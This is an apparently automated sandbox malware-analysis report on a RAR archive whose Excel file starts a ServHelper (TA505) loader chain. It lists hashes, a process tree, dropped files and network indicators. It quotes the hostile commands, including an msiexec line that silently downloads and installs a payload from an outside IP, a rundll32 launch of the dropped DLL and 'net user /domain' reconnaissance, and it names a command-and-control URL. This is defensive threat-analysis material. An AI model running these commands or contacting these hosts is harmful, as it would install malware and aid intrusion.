| File name: | 120419_001_18091121.rar |
| Full analysis: | https://app.any.run/tasks/c35c1470-ac47-4ee7-9607-bb0268fae657 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | April 15, 2019, 09:27:06 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-rar |
| File info: | RAR archive data, v5 |
| MD5: | 21322929143BA59BC76FDDE8643CABCA |
| SHA1: | 6DE4B54339D3BE6BFA37787DB10B4DC832383B06 |
| SHA256: | 6D0B169EBFB956D80F2BB736FCAB4E95E0A58206605D82FB04E29054619B14C0 |
| SSDEEP: | 1536:lJfGb2MPoFCawfJPKZLPNZKvwYwJoEjedAsEI/hMbTByvRDzXDSAu0trAKQgV9qq:c3ocawxPOgwYwJoyRAM5yvxtvIQ9v |
MALICIOUS
Uses Microsoft Installer as loader
- EXCEL.EXE (PID: 2208)
- EXCEL.EXE (PID: 2336)
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 2208)
- EXCEL.EXE (PID: 2336)
Loads dropped or rewritten executable
- rundll32.exe (PID: 2584)
Application was dropped or rewritten from another process
- ns45B4.tmp (PID: 2236)
Downloads executable files from IP
- msiexec.exe (PID: 3684)
Executes PowerShell scripts
- cmd.exe (PID: 3244)
Downloads executable files from the Internet
- msiexec.exe (PID: 3684)
Starts NET.EXE to view/add/change user profiles
- cmd.exe (PID: 2844)
Connects to CnC server
- rundll32.exe (PID: 2584)
SERVHELPER was detected
- rundll32.exe (PID: 2584)
SUSPICIOUS
Starts Microsoft Office Application
- WinRAR.exe (PID: 2648)
Drop ExeToMSI Application
- msiexec.exe (PID: 3684)
Starts application with an unusual extension
- MSI44E9.tmp (PID: 3224)
Executable content was dropped or overwritten
- msiexec.exe (PID: 3684)
- MSI44E9.tmp (PID: 3224)
Starts CMD.EXE for commands execution
- ns45B4.tmp (PID: 2236)
- rundll32.exe (PID: 2584)
Uses RUNDLL32.EXE to load library
- cmd.exe (PID: 2652)
Creates files in the user directory
- powershell.exe (PID: 3372)
INFO
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 3684)
Starts application with an unusual extension
- msiexec.exe (PID: 3684)
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 2208)
- EXCEL.EXE (PID: 2336)
Loads dropped or rewritten executable
- MSI44E9.tmp (PID: 3224)
Application was dropped or rewritten from another process
- MSI44E9.tmp (PID: 3224)
Creates files in the user directory
- EXCEL.EXE (PID: 2336)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rar | | | RAR compressed archive (v5.0) (61.5) |
|---|---|---|
| .rar | | | RAR compressed archive (gen) (38.4) |
Total processes
52
Monitored processes
15
Malicious processes
9
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1576 | net user /domain | C:\Windows\system32\net.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2208 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2236 | "C:\Users\admin\AppData\Local\Temp\nsr45B3.tmp\ns45B4.tmp" "cmd.exe" /c rundll32 C:\Users\admin\AppData\Local\Temp\pegas.dll, kest | C:\Users\admin\AppData\Local\Temp\nsr45B3.tmp\ns45B4.tmp | — | MSI44E9.tmp | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2280 | msiexec.exe RETURN=801 /i http://91.201.67.96/cyf /q ksw='%TMP%' | C:\Windows\system32\msiexec.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 1618 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2336 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2556 | C:\Windows\system32\net1 user /domain | C:\Windows\system32\net1.exe | — | net.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2584 | rundll32 C:\Users\admin\AppData\Local\Temp\pegas.dll, kest | C:\Windows\system32\rundll32.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2648 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\120419_001_18091121.rar" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
| 2652 | "cmd.exe" /c rundll32 C:\Users\admin\AppData\Local\Temp\pegas.dll, kest | C:\Windows\system32\cmd.exe | — | ns45B4.tmp | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2688 | msiexec.exe RETURN=801 /i http://91.201.67.96/cyf /q ksw='%TMP%' | C:\Windows\system32\msiexec.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
5 354
Read events
3 438
Write events
1 893
Delete events
23
Modification events
| (PID) Process: | (2648) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (2648) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (2648) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2648) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface |
| Operation: | write | Name: | ShowPassword |
Value: 0 | |||
| (PID) Process: | (2648) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\120419_001_18091121.rar | |||
| (PID) Process: | (2648) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2648) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2648) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (2648) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (2208) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | h#9 |
Value: 68233900A0080000010000000000000000000000 | |||
Executable files
5
Suspicious files
7
Text files
11
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2208 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR3768.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3684 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DF35537EE9CCC4FAF4.TMP | — | |
MD5:— | SHA256:— | |||
| 3372 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NVA2ULO1H6CWE8P49JDJ.temp | — | |
MD5:— | SHA256:— | |||
| 2648 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIb2648.49690\120419_001_18091121.xls | document | |
MD5:— | SHA256:— | |||
| 2208 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DFBE85305178FC233B.TMP | — | |
MD5:— | SHA256:— | |||
| 3684 | msiexec.exe | C:\Windows\Installer\MSI414C.tmp | executable | |
MD5:— | SHA256:— | |||
| 2336 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR963D.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3684 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.dat | dat | |
MD5:— | SHA256:— | |||
| 3684 | msiexec.exe | C:\Windows\Installer\MSI44E9.tmp | executable | |
MD5:— | SHA256:— | |||
| 2336 | EXCEL.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\query[1].asmx | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
4
DNS requests
3
Threats
8
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3684 | msiexec.exe | GET | 200 | 91.201.67.96:80 | http://91.201.67.96/cyf | unknown | executable | 372 Kb | suspicious |
2336 | EXCEL.EXE | GET | 200 | 52.109.76.6:80 | http://office14client.microsoft.com/config14?UILCID=1033&CLCID=1033&ILCID=1033&HelpLCID=1033&App={538F6C89-2AD5-4006-8154-C6670774E980}&build=14.0.6023 | IE | xml | 1.99 Kb | whitelisted |
2584 | rundll32.exe | POST | 200 | 37.252.9.143:80 | http://joisff333.icu/jquery/jquery.php | DE | text | 22 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3684 | msiexec.exe | 91.201.67.96:80 | — | — | — | suspicious |
2584 | rundll32.exe | 37.252.9.143:80 | joisff333.icu | — | DE | malicious |
2336 | EXCEL.EXE | 52.109.76.6:80 | office14client.microsoft.com | Microsoft Corporation | IE | whitelisted |
2336 | EXCEL.EXE | 52.109.120.28:443 | rr.office.microsoft.com | Microsoft Corporation | HK | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
joisff333.icu |
| malicious |
office14client.microsoft.com |
| whitelisted |
rr.office.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3684 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file |
3684 | msiexec.exe | Potential Corporate Privacy Violation | POLICY [PTsecurity] Executable application_x-msi Download |
1048 | svchost.exe | Potentially Bad Traffic | ET INFO DNS Query for Suspicious .icu Domain |
2584 | rundll32.exe | A Network Trojan was detected | ET TROJAN ServHelper CnC Inital Checkin |
2584 | rundll32.exe | A Network Trojan was detected | MALWARE [PTsecurity] ServHelper (TA505) |
2584 | rundll32.exe | Potentially Bad Traffic | ET INFO HTTP POST Request to Suspicious *.icu domain |
2584 | rundll32.exe | A Network Trojan was detected | MALWARE [PTsecurity] ServHelper Shell command (TA505) |
1 ETPRO signatures available at the full report